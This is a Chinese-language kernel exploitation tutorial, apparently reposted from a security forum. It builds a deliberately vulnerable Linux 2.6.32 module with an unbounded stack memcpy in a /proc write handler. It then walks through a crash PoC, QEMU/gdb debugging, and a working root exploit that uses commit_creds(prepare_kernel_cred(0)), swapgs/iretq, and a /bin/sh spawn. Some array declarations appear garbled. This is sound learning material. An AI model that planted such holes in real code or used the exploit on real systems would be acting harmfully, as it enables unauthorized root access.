linux内核漏洞利用初探(3):demo-stack_overflow
2. Kernel Stack Overflow(1)漏洞代码#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
char localbuf;
memcpy(localbuf,buf,len);
return len;
}
static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!n");
create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
return 0;
}
static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
简单的栈溢出漏洞。# Makefile
obj-m := stack_smashing.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
(2)PoC#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
char buf = {0};
memset(buf,"A",24);
*((void**)(buf + 20)) = 0x42424242;
int fd = open("/proc/bug2",O_WRONLY);
write(fd,buf,sizeof(buf));
}
$ insmod ./stack_smashing.koQEMU起内核后运行poc_stack直接崩溃,为了简便,需关闭cannary选项,重新编译内核。编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核,再重新编译stack_smashing.ko(程序之前编译时是支持canary的,checksec查看即可)。再跑POC。$ insmod ./stack_smashing.ko发现RIP被劫持为0x4242424242424242。#start_stack_smashing.sh
qemu-system-x86_64 \
-m 256M \
-kernel linux-2.6.32.1/arch/x86/boot/bzImage \
-initrd ./rootfs_stack_smashing.img\
-append "root=/dev/ram rdinit=/sbin/init" \
-s
#QEMU命令
$ cat /sys/module/stack_smashing/sections/.texts
0xffffffffa0000000
#gdb调试命令 (可以用gdb脚本更方便)
$ gdb vmlinux
$ target remote :1234
$ add-symbol-file ./stack_smashing.ko 0xffffffffa0000000
$ b bug2_write
$ c
#gdb.sh脚本
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file ../../linux-2.6.32.1/vmlinux" \
-ex 'target remote localhost:1234' \
-ex 'add-symbol-file ./stack_smashing.ko 0xffffffffa0000000' \
-ex 'b bug2_write' \
-ex 'c'
$ x /20iw $pc
$ b *0xffffffffa0000022 # ret处下断
$ c
$ ni
Warning: not running or target is remote
0x4242424242424242 in ?? ()
(3)exploit1.思路利用commit_creds(prepare_kernel_cred(0)),然后返回到用户模式先执行swapgs,再执行iret。当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。struct trap_frame
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));
2.编写exploit//gcc exp.c -static -masm=intel -g -o exp_stack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
struct trap_frame{
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
}__attribute__((packed));
struct trap_frame tf;
size_t addr=&tf;//user_rip
void get_shell(void){
system("/bin/sh");
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
tf.user_rip = &get_shell;
tf.user_cs= user_cs;
tf.user_rflags = user_rflags;
tf.user_sp= user_sp-0x1000; //why?
tf.user_ss= user_ss;
puts("[*]status has been saved.");
}
#define KERNCALL __attribute__((regparm(3)));
size_t prepare_kernel_cred=0xffffffff81083330;//How to find this address?
size_t commit_creds=0xffffffff81083140;
void payload(void){
//payload here
char* (*pkc)(int)=prepare_kernel_cred;
void (*cc)(char*)=commit_creds;
(*cc)((*pkc)(0));
asm(
"swapgs;" //exchange GS
"mov rsp, addr;"
"iretq;");
}
int main(void){
char buf;
memset(buf,0x41,48);
*((void**)(buf+32)) = &payload; //set rip to payload
save_status();
//write(1,buf,sizeof(buf));
int fd = open("/proc/bug2",O_WRONLY);
//exploit
write(fd,buf,sizeof(buf));
return 0;
}
调试:#gdb
$ ./gdb.sh
$ x /20iw $pc
$ b *0xffffffffa0000022 #ret处下断点
$ c
$ stack
由于muhe的教程是32位的,在64位系统上测试时需要修改exp,主要有以下几点:·asm内联汇编:iret -> iretq 。·32位居然不需要"swapgs"来切换 GS 段寄存器。·cat /proc/kallsyms 找提权函数地址参考:https://www.anquanke.com/post/id/85837https://www.anquanke.com/post/id/85840https://www.anquanke.com/post/id/85848文章首发于先知-linux内核漏洞利用初探(3):demo-stack_overflowReferences 先知-linux内核漏洞利用初探(3):demo-stack_overflow: https://xz.aliyun.com/t/6010
往期推荐
linux内核漏洞利用初探(1):环境配置
linux内核漏洞利用初探(2):two_demo
资源很给力,请收下我的膝盖!
页:
[1]